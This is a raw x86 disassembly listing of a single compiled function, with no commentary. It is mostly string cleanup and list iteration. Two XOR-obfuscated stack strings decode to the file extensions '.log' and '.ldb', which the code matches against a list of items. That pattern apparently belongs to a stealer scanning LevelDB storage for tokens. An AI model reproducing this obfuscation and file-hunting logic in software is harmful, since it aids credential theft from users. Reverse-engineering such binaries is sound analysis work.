mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x6c]
call fcn.00465770
or esi, 0x1000
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1d0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x431cc3
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431cb9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x431d13
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431d09
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x14]
test al, 0x10
je 0x431d64
mov ecx, dword [ebp - 0x11c]
and eax, 0xffffffef
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x431d64
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431d57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x21
test al, 8
je 0x431daf
mov ecx, dword [ebp - 0x17c]
and eax, 0xfffffff7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x431daf
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431da5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x1d0]
mov ecx, esp
push eax
call fcn.00465a60
push 1
xor dl, dl
lea ecx, [ebp - 0xfc]
call fcn.004205e0
add esp, 0x1c
mov byte [ebp - 4], 0x22
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xf8]
sub ecx, dword [ebp - 0xfc]
imul ecx
mov dword [ebp - 0xf0], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x432331
xor esi, esi
mov dword [ebp - 0x48], esi
nop dword [eax + eax]
mov dword [ebp - 0x82], 0x8b8486c7
xor ecx, ecx
mov word [ebp - 0x7e], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x82], al
inc ecx
cmp ecx, 4
jb 0x431e22
xorps xmm0, xmm0
mov byte [ebp - 0x7d], 0
lea ecx, [ebp - 0x82]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431e55
sub ecx, edx
lea eax, [ebp - 0x82]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402810
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x14]
add edx, esi
or eax, 0x20
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp dword [edx + 0x14], 0x10
jb 0x431e8e
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x120], 0
xorps xmm0, xmm0
mov dword [ebp - 0x11c], 0
movups xmmword [ebp - 0x130], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431eb1
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x130]
call fcn.00402810
mov dword [ebp - 4], 0x24
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x5c]
or eax, 0x40
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x4c], ecx
cmp eax, edi
jb 0x431f4e
mov ecx, eax
sub ecx, edi
cmp eax, ecx
jb 0x432546
cmp dword [ebp - 0x58], 0x10
lea esi, [ebp - 0x6c]
push edi
cmovae esi, edx
sub eax, ecx
cmp eax, edi
mov edx, edi
push esi
cmovb edx, eax
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
cmovae eax, dword [ebp - 0x4c]
add ecx, eax
call fcn.0046aed0
add esp, 8
test eax, eax
jne 0x431f4e
mov edx, dword [ebp - 0xc8]
mov edi, dword [ebp - 0x148]
mov dword [ebp - 0x50], edx
mov byte [ebp - 0x27], 1
jmp 0x43209a
mov dword [ebp - 0x22], 0x8e8f86c7
xor ecx, ecx
mov word [ebp - 0x1e], 0x100
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 4
jb 0x431f60
xorps xmm0, xmm0
mov byte [ebp - 0x1d], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0xb8], 0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431f96
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.00402810
mov dword [ebp - 4], 0x25
mov edx, dword [ebp - 0xfc]
add edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
or eax, 0x80
mov dword [ebp - 0x14], eax
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x1c], eax
jb 0x431fd5
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x138], 0
xorps xmm0, xmm0
mov dword [ebp - 0x134], 0
movups xmmword [ebp - 0x148], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431ff8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x148]
call fcn.00402810
mov dword [ebp - 4], 0x26
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0xb8]
or eax, 0x100
mov edx, dword [ebp - 0xc8]
mov edi, dword [ebp - 0x148]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x50], edx
cmp eax, esi
jb 0x432096
mov ecx, eax
sub ecx, esi
cmp eax, ecx
jb 0x432546
cmp dword [ebp - 0xb4], 0x10
lea esi, [ebp - 0xc8]
push dword [ebp - 0xb8]
cmovae esi, edx
mov edx, dword [ebp - 0xb8]
sub eax, ecx
cmp eax, edx
push esi
cmovb edx, eax
cmp dword [ebp - 0x134], 0x10
lea eax, [ebp - 0x148]
cmovae eax, edi
add ecx, eax
call fcn.0046aed0
add esp, 8
test eax, eax
jne 0x432096
mov byte [ebp - 0x27], 1
jmp 0x43209a
mov byte [ebp - 0x27], 0
mov dword [ebp - 4], 0x25
mov ecx, dword [ebp - 0x14]
test ecx, 0x100
je 0x4320f1
mov eax, dword [ebp - 0x134]
and ecx, 0xfffffeff
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ecx
cmp eax, 0x10
jb 0x4320f1
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x4320e4
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edi
call fcn.004dcbd1
mov ecx, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 4], 0x24
test cl, cl
jns 0x432144
mov eax, dword [ebp - 0xb4]
and ecx, 0xffffff7f
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ecx
cmp eax, 0x10
jb 0x432144
mov edx, dword [ebp - 0x50]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x432137
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
mov ecx, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 4], 0x23
test cl, 0x40
je 0x432195
mov eax, dword [ebp - 0x11c]
and ecx, 0xffffffbf
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ecx
cmp eax, 0x10
jb 0x432195
mov edx, dword [ebp - 0x4c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x432188
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
mov ecx, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 4], 0x22
test cl, 0x20
je 0x4321e0
mov eax, dword [ebp - 0x58]
and ecx, 0xffffffdf
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ecx
cmp eax, 0x10
jb 0x4321e0
mov edx, dword [ebp - 0x18]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4321d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x27], 0
je 0x4322f6
sub esp, 0x18
lea eax, [ebp - 0x178]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00465a60
sub esp, 0x18
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0xfc]
mov ecx, esp
add eax, dword [ebp - 0x48]
push eax
call fcn.00465a60
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x22
call fcn.00430390
add esp, 0x30
xor ecx, ecx
mov byte [ebp - 4], 0x28
mov esi, dword [ebp - 0xa0]
mov eax, 0x38e38e39
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x9c]
sub ecx, esi
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4322e7
xor edi, edi
mov dword [ebp - 0x50], edi
nop dword [eax + eax]
mov eax, dword [ebp - 0x100]
add edi, esi
push edi
mov esi, dword [eax + 4]
cmp esi, dword [eax + 8]
je 0x4322ab
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.00465a60
lea eax, [edi + 0x18]
mov byte [ebp - 4], 0x29
lea ecx, [esi + 0x18]
push eax
call fcn.00465a60
lea eax, [edi + 0x30]
mov byte [ebp - 4], 0x2a
lea ecx, [esi + 0x30]
push eax
call fcn.00465a60
mov byte [ebp - 4], 0x28
mov eax, dword [ebp - 0x100]
add dword [eax + 4], 0x48
jmp 0x4322b3
push esi
mov ecx, eax
call fcn.004716d0
mov ecx, dword [ebp - 0x9c]
mov eax, 0x38e38e39
mov esi, dword [ebp - 0xa0]
sub ecx, esi
mov edi, dword [ebp - 0x50]
inc dword [ebp - 0x4c]
add edi, 0x48
imul ecx
mov dword [ebp - 0x50], edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x4c], eax
jb 0x432260
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x22
call fcn.00462290
mov ecx, dword [ebp - 0xf8]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xfc]
mov edi, dword [ebp - 0xf0]
mov esi, dword [ebp - 0x48]
inc edi
imul ecx
add esi, 0x18
mov dword [ebp - 0xf0], edi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x48], esi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x431e10
lea ecx, [ebp - 0xfc]
call fcn.00467c60
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x1bc]
cmp ecx, 0x10
jb 0x43237a
mov edx, dword [ebp - 0x1d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432370
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0x10
jb 0x4323b8
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4323ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x1d4]
cmp ecx, 0x10
jb 0x4323f6
mov edx, dword [ebp - 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4323ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov edx, dword [ebp - 0x70]
inc edx
mov dword [ebp - 0x70], edx
cmp edx, dword [ebp - 0x54]
jae 0x43240a
mov edi, dword [ebp - 0x14]
jmp 0x431565
mov esi, dword [ebp - 0x164]
cmp esi, 0x10
jb 0x432446
mov edx, dword [ebp - 0x178]
lea ecx, [esi + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x43243c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x194]
cmp ecx, 0x10
jb 0x432480
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432476
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0xf
mov byte [ebp - 0x1a8], 0
call fcn.00467c60
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x4324dc
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4324d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x430cef
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430ce5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
jmp 0x430ce5
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402040
call fcn.004e1e70
call fcn.00402040
call fcn.004e1e70
call fcn.00469030
int3